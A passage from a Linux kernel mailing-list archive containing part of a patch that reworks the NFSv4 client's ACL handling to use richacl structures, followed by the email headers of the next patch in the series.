&nfs4_procedures[NFSPROC4_CLNT_GETACL], .rpc_argp = &args, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); - int ret = -ENOMEM, i; - - /* As long as we're doing a round trip to the server anyway, - * let's be prepared for a page of acl data. */ - if (npages == 0) - npages = 1; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; + int err, i; - for (i = 0; i < npages; i++) { - pages[i] = alloc_page(GFP_KERNEL); - if (!pages[i]) + if (ARRAY_SIZE(pages) > 1) { + /* for decoding across pages */ + res.acl_scratch = alloc_page(GFP_KERNEL); + err = -ENOMEM; + if (!res.acl_scratch) goto out_free; } - /* for decoding across pages */ - res.acl_scratch = alloc_page(GFP_KERNEL); - if (!res.acl_scratch) - goto out_free; - - args.acl_len = npages * PAGE_SIZE; - - dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", - __func__, buf, buflen, npages, args.acl_len); - ret = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), + dprintk("%s args.acl_len %zu\n", + __func__, args.acl_len); + err = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), &msg, &args.seq_args, &res.seq_res, 0); - if (ret) + if (err) goto out_free; - /* Handle the case where the passed-in buffer is too short */ - if (res.acl_flags & NFS4_ACL_TRUNC) { - /* Did the user only issue a request for the acl length? */ - if (buf == NULL) - goto out_ok; - ret = -ERANGE; - goto out_free; - } - nfs4_write_cached_acl(inode, pages, res.acl_data_offset, res.acl_len); - if (buf) { - if (res.acl_len > buflen) { - ret = -ERANGE; - goto out_free; - } - _copy_from_pages(buf, pages, res.acl_data_offset, res.acl_len); - } -out_ok: - ret = res.acl_len; + richacl_compute_max_masks(res.acl); + /* FIXME: Set inode->i_mode from res->mode? */ + set_cached_richacl(inode, res.acl); + err = 0; + out_free: - for (i = 0; i < npages; i++) - if (pages[i]) - __free_page(pages[i]); + if (err) { + richacl_put(res.acl); + res.acl = ERR_PTR(err); + } + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + __free_page(pages[i]); if (res.acl_scratch) __free_page(res.acl_scratch); - return ret; + return res.acl; } -static ssize_t nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_get_acl_uncached(struct inode *inode) { struct nfs4_exception exception = { }; - ssize_t ret; + struct richacl *acl; do { - ret = __nfs4_get_acl_uncached(inode, buf, buflen); - trace_nfs4_get_acl(inode, ret); - if (ret >= 0) + acl = __nfs4_get_acl_uncached(inode); + trace_nfs4_get_acl(inode, IS_ERR(acl) ? PTR_ERR(acl) : 0); + if (!IS_ERR(acl)) break; - ret = nfs4_handle_exception(NFS_SERVER(inode), ret, &exception); + acl = ERR_PTR(nfs4_handle_exception(NFS_SERVER(inode), + PTR_ERR(acl), &exception)); } while (exception.retry); - return ret; + return acl; } -static ssize_t nfs4_proc_get_acl(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_proc_get_acl(struct inode *inode) { struct nfs_server *server = NFS_SERVER(inode); + struct richacl *acl; int ret; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return ERR_PTR(-EOPNOTSUPP); ret = nfs_revalidate_inode(server, inode); if (ret < 0) - return ret; + return ERR_PTR(ret); if (NFS_I(inode)->cache_validity & NFS_INO_INVALID_ACL) nfs_zap_acl_cache(inode); - ret = nfs4_read_cached_acl(inode, buf, buflen); - if (ret != -ENOENT) - /* -ENOENT is returned if there is no ACL or if there is an ACL - * but no cached acl data, just the acl length */ - return ret; - return nfs4_get_acl_uncached(inode, buf, buflen); + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + return nfs4_get_acl_uncached(inode); +} + +static int +richacl_supported(struct nfs_server *server, struct richacl *acl) +{ + struct richace *ace; + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return -EOPNOTSUPP; + + richacl_for_each_entry(ace, acl) { + if (richace_is_allow(ace)) { + if (!(server->caps & NFS_CAP_ALLOW_ACLS)) + return -EINVAL; + } else if (richace_is_deny(ace)) { + if (!(server->caps & NFS_CAP_DENY_ACLS)) + return -EINVAL; + } else + return -EINVAL; + } + return 0; +} + +static int +nfs4_encode_user(struct xdr_stream *xdr, const struct nfs_server *server, + kuid_t uid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_uid_to_name(server, uid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve uid %d to string\n", + from_kuid(&init_user_ns, uid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static int +nfs4_encode_group(struct xdr_stream *xdr, const struct nfs_server *server, + kgid_t gid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_gid_to_group(server, gid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve gid %d to string\n", + from_kgid(&init_user_ns, gid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static unsigned int +nfs4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static int +nfs4_encode_ace_who(struct xdr_stream *xdr, const struct nfs_server *server, + struct richace *ace, struct richacl *acl) +{ + const char *who; + __be32 *p; + + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return -EIO; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + unsigned int len = strlen(who); + + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfs4_encode_group(xdr, server, ace->e_id.gid); + else + return nfs4_encode_user(xdr, server, ace->e_id.uid); + } +} + +static int +nfs4_encode_acl(struct page **pages, unsigned int len, struct richacl *acl, + const struct nfs_server *server) +{ + int minorversion = server->nfs_client->cl_minorversion; + unsigned int ace_mask = nfs4_ace_mask(minorversion); + struct xdr_stream xdr; + struct xdr_buf buf; + __be32 *p; + struct richace *ace; + + /* Reject acls not understood by the server */ + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + BUILD_BUG_ON(NFS4_ACE_MASK_ALL != RICHACE_VALID_MASK); + } else { + if (acl->a_flags) + return -EINVAL; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + return -EINVAL; + } + } + richacl_for_each_entry(ace, acl) { + if (ace->e_mask & ~ace_mask) + return -EINVAL; + } + + xdr_init_encode_pages(&xdr, &buf, pages, len); + + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + *p = cpu_to_be32(acl ? acl->a_flags : 0); + } + + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + if (!acl) { + *p++ = cpu_to_be32(0); + return buf.len; + } + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + p = xdr_reserve_space(&xdr, 4*3); + if (!p) + goto fail; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + if (nfs4_encode_ace_who(&xdr, server, ace, acl) != 0) + goto fail; + } + + return buf.len; + +fail: + return -ENOMEM; } -static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int __nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs_server *server = NFS_SERVER(inode); - struct page *pages[NFS4ACL_MAXPAGES]; + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE) + 1 /* scratch */] = {}; struct nfs_setaclargs arg = { + .server = server, .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, }; struct nfs_setaclres res; struct rpc_message msg = { @@ -4758,16 +4821,20 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl .rpc_argp = &arg, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); int ret, i; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); - if (i < 0) - return i; + ret = richacl_supported(server, acl); + if (ret) + return ret; + + ret = nfs4_encode_acl(pages, NFS4ACL_SIZE_MAX, acl, server); + if (ret < 0) { + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); + return ret; + } + arg.acl_len = ret; + nfs4_inode_return_delegation(inode); ret = nfs4_call_sync(server->client, server, &msg, &arg.seq_args, &res.seq_res, 1); @@ -4775,8 +4842,8 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl * Free each page after tx, so the only ref left is * held by the network stack */ - for (; i > 0; i--) - put_page(pages[i-1]); + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); /* * Acl update can result in inode attribute update. @@ -4790,12 +4857,12 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return ret; } -static int nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs4_exception exception = { }; int err; do { - err = __nfs4_proc_set_acl(inode, buf, buflen); + err = __nfs4_proc_set_acl(inode, acl); trace_nfs4_set_acl(inode, err); err = nfs4_handle_exception(NFS_SERVER(inode), err, &exception); @@ -6257,34 +6324,316 @@ nfs4_release_lockowner(struct nfs_server *server, struct nfs4_lock_state *lsp) rpc_call_async(server->client, &msg, 0, &nfs4_release_lockowner_ops, data); } +static int nfs4_xattr_set_richacl(struct dentry *dentry, const char *key, + const void *buf, size_t buflen, + int flags, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(key, "") != 0) + return -EINVAL; + + if (buf) { + acl = richacl_from_xattr(&init_user_ns, buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = richacl_apply_masks(&acl, inode->i_uid); + } else { + /* + * "Remove the acl"; only permissions granted by the mode + * remain. We are using the cached mode here which could be + * outdated; should we do a GETATTR first to narrow down the + * race window? + */ + acl = richacl_from_mode(inode->i_mode); + error = 0; + } + + if (!error) + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; +} + +static int nfs4_xattr_get_richacl(struct dentry *dentry, const char *key, + void *buf, size_t buflen, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + umode_t mode = inode->i_mode & S_IFMT; + + if (strcmp(key, "") != 0) + return -EINVAL; + + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = -ENODATA; + if (richacl_equiv_mode(acl, &mode) == 0 && + ((mode ^ inode->i_mode) & S_IRWXUGO) == 0) + goto out; + error = richacl_to_xattr(&init_user_ns, acl, buf, buflen); +out: + richacl_put(acl); + return error; +} + +static size_t nfs4_xattr_list_richacl(struct dentry *dentry, char *list, + size_t list_len, const char *name, + size_t name_len, int handler_flags) +{ + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); + size_t len = sizeof(XATTR_NAME_RICHACL); + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return 0; + + if (list && len <= list_len) + memcpy(list, XATTR_NAME_RICHACL, len); + return len; +} + #define XATTR_NAME_NFSV4_ACL "system.nfs4_acl" +static __be32 *richacl_put_nfs4_ace(__be32 *p, const struct richace *ace) +{ + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_INHERITED_ACE | + RICHACE_UNMAPPED_WHO | + RICHACE_SPECIAL_WHO)); + *p++ = cpu_to_be32(ace->e_mask); + + return p; +} + +static __be32 *richacl_put_name(__be32 *p, const char *who, int who_len) +{ + unsigned int padding = -who_len & 3; + + *p++ = cpu_to_be32(who_len); + memcpy(p, who, who_len); + memset((char *)p + who_len, 0, padding); + p += DIV_ROUND_UP(who_len, 4); + + return p; +} + +static int richacl_to_nfs4_acl(struct nfs_server *server, + const struct richacl *acl, + void *buf, size_t buflen) +{ + const struct richace *ace; + __be32 *p = buf; + size_t size = 0; + + size += 4; + if (buflen >= size) + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + char who_buf[IDMAP_NAMESZ]; + const char *who = who_buf; + int who_len; + + size += 3 * 4; + if (buflen >= size) + p = richacl_put_nfs4_ace(p, ace); + + if (richace_is_unix_user(ace)) { + who_len = nfs_map_uid_to_name(server, ace->e_id.uid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (richace_is_unix_group(ace)) { + who_len = nfs_map_gid_to_group(server, ace->e_id.gid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (ace->e_flags & RICHACE_SPECIAL_WHO) { + if (!nfs4acl_special_id_to_who(ace->e_id.special, + &who, &who_len)) + return -EIO; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) + who_len = strlen(who); + else + return -EIO; + } + + size += 4 + ALIGN(who_len, 4); + if (buflen >= size) + p = richacl_put_name(p, who, who_len); + } + if (buflen && buflen < size) + return -ERANGE; + return size; +} + +static int richace_get_nfs4_ace(struct richace *ace, const __be32 **pp, + size_t *buflen) +{ + const __be32 *p = *pp; + + if (*buflen < 3 * 4) + return -EINVAL; + ace->e_type = be32_to_cpu(*p++); + ace->e_flags = be32_to_cpu(*p++); + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + return -EINVAL; + ace->e_mask = be32_to_cpu(*p++); + *pp = p; + *buflen -= 3 * 4; + + return 0; +} + +static ssize_t richace_get_who(struct nfs_server *server, struct richacl *acl, + struct richace *ace, const __be32 **pp, + size_t *buflen) +{ + const __be32 *p = *pp; + u32 who_len, size; + int err, special_id; + char *who; + + if (*buflen < 4) + return -EINVAL; + who_len = be32_to_cpu(*p++); + *buflen -= 4; + size = ALIGN(who_len, 4); + if (*buflen < size || size == 0) + return -EINVAL; + who = (char *)p; + special_id = nfs4acl_who_to_special_id(who, who_len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_id.special = special_id; + goto out; + } + + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + err = nfs_map_group_to_gid(server, who, who_len, + &ace->e_id.gid); + if (err && err != -ENOENT) { + dprintk("%s: nfs_map_group_to_gid " + "failed!\n", __func__); + return err; + } + } else { + err = nfs_map_name_to_uid(server, who, who_len, + &ace->e_id.uid); + if (err && err != -ENOENT) { + dprintk("%s: nfs_map_name_to_gid " + "failed!\n", __func__); + return err; + } + } + + if (err == -ENOENT) { + err = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + who, who_len, GFP_NOFS)) + return err; + } + +out: + *pp = p + size / 4; + *buflen -= size; + return 0; +} + +static struct richacl *richacl_from_nfs4_acl(struct nfs_server *server, + const void *buf, size_t buflen) +{ + struct richacl *acl = NULL; + struct richace *ace; + const __be32 *p = buf; + int count, err; + + if (buflen < 4) + return ERR_PTR(-EINVAL); + count = be32_to_cpu(*p++); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + buflen -= 4; + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + err = richace_get_nfs4_ace(ace, &p, &buflen); + if (err) + goto out; + err = richace_get_who(server, acl, ace, &p, &buflen); + if (err) + goto out; + + } + err = -EINVAL; + if (buflen != 0) + goto out; + err = 0; + +out: + if (err) { + richacl_put(acl); + acl = ERR_PTR(err); + } + return acl; +} + static int nfs4_xattr_set_nfs4_acl(struct dentry *dentry, const char *key, const void *buf, size_t buflen, int flags, int type) { - if (strcmp(key, "") != 0) + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (!buf || strcmp(key, "") != 0) return -EINVAL; - return nfs4_proc_set_acl(d_inode(dentry), buf, buflen); + acl = richacl_from_nfs4_acl(NFS_SERVER(inode), (void *)buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; } static int nfs4_xattr_get_nfs4_acl(struct dentry *dentry, const char *key, void *buf, size_t buflen, int type) { + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + if (strcmp(key, "") != 0) return -EINVAL; - - return nfs4_proc_get_acl(d_inode(dentry), buf, buflen); + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_nfs4_acl(NFS_SERVER(inode), acl, buf, buflen); + richacl_put(acl); + return error; } static size_t nfs4_xattr_list_nfs4_acl(struct dentry *dentry, char *list, size_t list_len, const char *name, size_t name_len, int type) { + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); size_t len = sizeof(XATTR_NAME_NFSV4_ACL); - if (!nfs4_server_supports_acls(NFS_SERVER(d_inode(dentry)))) + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) return 0; if (list && len <= list_len) @@ -8837,6 +9186,13 @@ const struct nfs_rpc_ops nfs_v4_clientops = { .clone_server = nfs_clone_server, }; +static const struct xattr_handler nfs4_xattr_richacl_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = nfs4_xattr_list_richacl, + .get = nfs4_xattr_get_richacl, + .set = nfs4_xattr_set_richacl, +}; + static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { .prefix = XATTR_NAME_NFSV4_ACL, .list = nfs4_xattr_list_nfs4_acl, @@ -8845,6 +9201,7 @@ static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { }; const struct xattr_handler *nfs4_xattr_handlers[] = { + &nfs4_xattr_richacl_handler, &nfs4_xattr_nfs4_acl_handler, #ifdef CONFIG_NFS_V4_SECURITY_LABEL &nfs4_xattr_nfs4_label_handler, diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index adeb894..2f1d6be 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -52,6 +52,10 @@ #include #include #include +#include +#include +#include /* for RICHACL_XATTR_MAX_COUNT */ +#include #include "nfs4_fs.h" #include "internal.h" @@ -1650,16 +1654,24 @@ encode_restorefh(struct xdr_stream *xdr, struct compound_hdr *hdr) static void encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compound_hdr *hdr) { - __be32 *p; + int attrlen_offset; + __be32 attrlen, *p; encode_op_hdr(xdr, OP_SETATTR, decode_setacl_maxsz, hdr); encode_nfs4_stateid(xdr, &zero_stateid); + + /* Encode attribute bitmap. */ p = reserve_space(xdr, 2*4); *p++ = cpu_to_be32(1); *p = cpu_to_be32(FATTR4_WORD0_ACL); - p = reserve_space(xdr, 4); - *p = cpu_to_be32(arg->acl_len); + + attrlen_offset = xdr->buf->len; + xdr_reserve_space(xdr, 4); /* to be backfilled later */ + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); + + attrlen = htonl(xdr->buf->len - attrlen_offset - 4); + write_bytes_to_xdr_buf(xdr->buf, attrlen_offset, &attrlen, 4); } static void @@ -2488,7 +2500,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_sequence(xdr, &args->seq_args, &hdr); encode_putfh(xdr, args->fh, &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5262,50 +5274,156 @@ decode_restorefh(struct xdr_stream *xdr) return decode_op_hdr(xdr, OP_RESTOREFH); } +static int +nfs4_decode_ace_who(struct richace *ace, + const char **unmapped, unsigned int *unmapped_len, + const struct nfs_server *server, + struct xdr_stream *xdr) +{ + char *who; + u32 len; + int special_id; + __be32 *p; + int error; + + p = xdr_inline_decode(xdr, 4); + if (!p) + return -ENOMEM; /* acl truncated */ + len = be32_to_cpup(p++); + if (len >= XDR_MAX_NETOBJ) { + dprintk("%s: name too long (%u)!\n", + __func__, len); + return -EIO; + } + who = (char *)xdr_inline_decode(xdr, len); + if (!who) + return -ENOMEM; /* acl truncated */ + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return 0; + } + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + error = nfs_map_group_to_gid(server, who, len, &ace->e_id.gid); + if (error && error != -ENOENT) { + dprintk("%s: nfs_map_group_to_gid failed!\n", + __func__); + return error; + } + } else { + error = nfs_map_name_to_uid(server, who, len, &ace->e_id.uid); + if (error && error != -ENOENT) { + dprintk("%s: nfs_map_name_to_uid failed!\n", + __func__); + return error; + } + } + if (error == -ENOENT) { + *unmapped = who; + *unmapped_len = len; + } + return 0; +} + +static struct richacl * +decode_acl_entries(struct xdr_stream *xdr, const struct nfs_server *server) +{ + struct richacl *acl; + struct richace *ace; + uint32_t count; + __be32 *p; + int status; + + p = xdr_inline_decode(xdr, 4); + if (unlikely(!p)) + return ERR_PTR(-ENOMEM); /* acl truncated */ + count = be32_to_cpup(p); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EIO); + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + const char *unmapped = NULL; + unsigned int unmapped_len; + + p = xdr_inline_decode(xdr, 4*3); + status = -ENOMEM; + if (unlikely(!p)) + goto out; /* acl truncated */ + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + status = -EIO; + if (ace->e_flags & + (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + goto out; + ace->e_mask = be32_to_cpup(p++); + status = nfs4_decode_ace_who(ace, &unmapped, + &unmapped_len, server, + xdr); + if (status) + goto out; + if (unmapped) { + status = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + unmapped, unmapped_len, + GFP_NOFS)) + goto out; + } + } + status = 0; + +out: + if (status) { + richacl_put(acl); + acl = ERR_PTR(status); + } + return acl; +} + static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, struct nfs_getaclres *res) { unsigned int savep; uint32_t attrlen, bitmap[3] = {0}; + struct richacl *acl = NULL; int status; - unsigned int pg_offset; - res->acl_len = 0; if ((status = decode_op_hdr(xdr, OP_GETATTR)) != 0) - goto out; - - xdr_enter_page(xdr, xdr->buf->page_len); - - /* Calculate the offset of the page data */ - pg_offset = xdr->buf->head[0].iov_len; - + return status; if ((status = decode_attr_bitmap(xdr, bitmap)) != 0) - goto out; + return status; if ((status = decode_attr_length(xdr, &attrlen, &savep)) != 0) - goto out; + return status; if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { - - /* The bitmap (xdr len + bitmaps) and the attr xdr len words - * are stored with the acl data to handle the problem of - * variable length bitmaps.*/ - res->acl_data_offset = xdr_stream_pos(xdr) - pg_offset; - res->acl_len = attrlen; - - /* Check for receive buffer overflow */ - if (res->acl_len > (xdr->nwords << 2) || - res->acl_len + res->acl_data_offset > xdr->buf->page_len) { - res->acl_flags |= NFS4_ACL_TRUNC; - dprintk("NFS: acl reply: attrlen %u > page_len %u\n", - attrlen, xdr->nwords << 2); - } + acl = decode_acl_entries(xdr, res->server); + if (IS_ERR(acl)) + return PTR_ERR(acl); + bitmap[0] &= ~FATTR4_WORD0_ACL; } else - status = -EOPNOTSUPP; + return -EOPNOTSUPP; + + status = -EIO; + if (unlikely(bitmap[0])) + goto out; + + status = decode_attr_mode(xdr, bitmap, &res->mode); + if (status < 0) + goto out; + status = 0; out: + if (status) + richacl_put(acl); + else + res->acl = acl; return status; } diff --git a/fs/nfs/super.c b/fs/nfs/super.c index 383a027..8ced33d 100644 --- a/fs/nfs/super.c +++ b/fs/nfs/super.c @@ -2319,7 +2319,7 @@ void nfs_fill_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; sb->s_time_gran = 1; } @@ -2346,7 +2346,7 @@ void nfs_clone_super(struct super_block *sb, struct nfs_mount_info *mount_info) /* The VFS shouldn't apply the umask to mode bits. We will do * so ourselves when necessary. */ - sb->s_flags |= MS_POSIXACL; + sb->s_flags |= MS_RICHACL; } nfs_initialise_sb(sb); diff --git a/include/linux/nfs_fs.h b/include/linux/nfs_fs.h index c0e9614..b84e194 100644 --- a/include/linux/nfs_fs.h +++ b/include/linux/nfs_fs.h @@ -176,7 +176,6 @@ struct nfs_inode { wait_queue_head_t waitqueue; #if IS_ENABLED(CONFIG_NFS_V4) - struct nfs4_cached_acl *nfs4_acl; /* NFSv4 state */ struct list_head open_states; struct nfs_delegation __rcu *delegation; diff --git a/include/linux/nfs_fs_sb.h b/include/linux/nfs_fs_sb.h index c7d42b7..cb282e1 100644 --- a/include/linux/nfs_fs_sb.h +++ b/include/linux/nfs_fs_sb.h @@ -244,5 +244,7 @@ struct nfs_server { #define NFS_CAP_ALLOCATE (1U << 20) #define NFS_CAP_DEALLOCATE (1U << 21) #define NFS_CAP_LAYOUTSTATS (1U << 22) +#define NFS_CAP_ALLOW_ACLS (1U << 23) +#define NFS_CAP_DENY_ACLS (1U << 24) #endif diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 090ade4..337c341 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -683,9 +683,10 @@ struct nfs_setattrargs { struct nfs_setaclargs { struct nfs4_sequence_args seq_args; + const struct nfs_server * server; struct nfs_fh * fh; - size_t acl_len; struct page ** acl_pages; + size_t acl_len; }; struct nfs_setaclres { @@ -703,9 +704,9 @@ struct nfs_getaclargs { #define NFS4_ACL_TRUNC 0x0001 /* ACL was truncated */ struct nfs_getaclres { struct nfs4_sequence_res seq_res; - size_t acl_len; - size_t acl_data_offset; - int acl_flags; + const struct nfs_server * server; + struct richacl * acl; + umode_t mode; struct page * acl_scratch; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:23:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E4EA803F for ; Fri, 16 Oct 2015 10:23:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 00736304062 for ; Fri, 16 Oct 2015 08:23:53 -0700 (PDT) X-ASG-Debug-ID: 1445009032-04cb6c3ced3a1e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EFPR3zyQCZHhcUKF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:23:53 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 5F4E3C0B2B5D; Fri, 16 Oct 2015 15:23:52 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcV011947; Fri, 16 Oct 2015 11:23:46 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 48/48] nfs: Add support for the v4.1 dacl attribute Date: Fri, 16 Oct 2015 17:18:26 +0200 X-ASG-Orig-Subj: [PATCH v11 48/48] nfs: Add support for the v4.1 dacl attribute Message-Id: 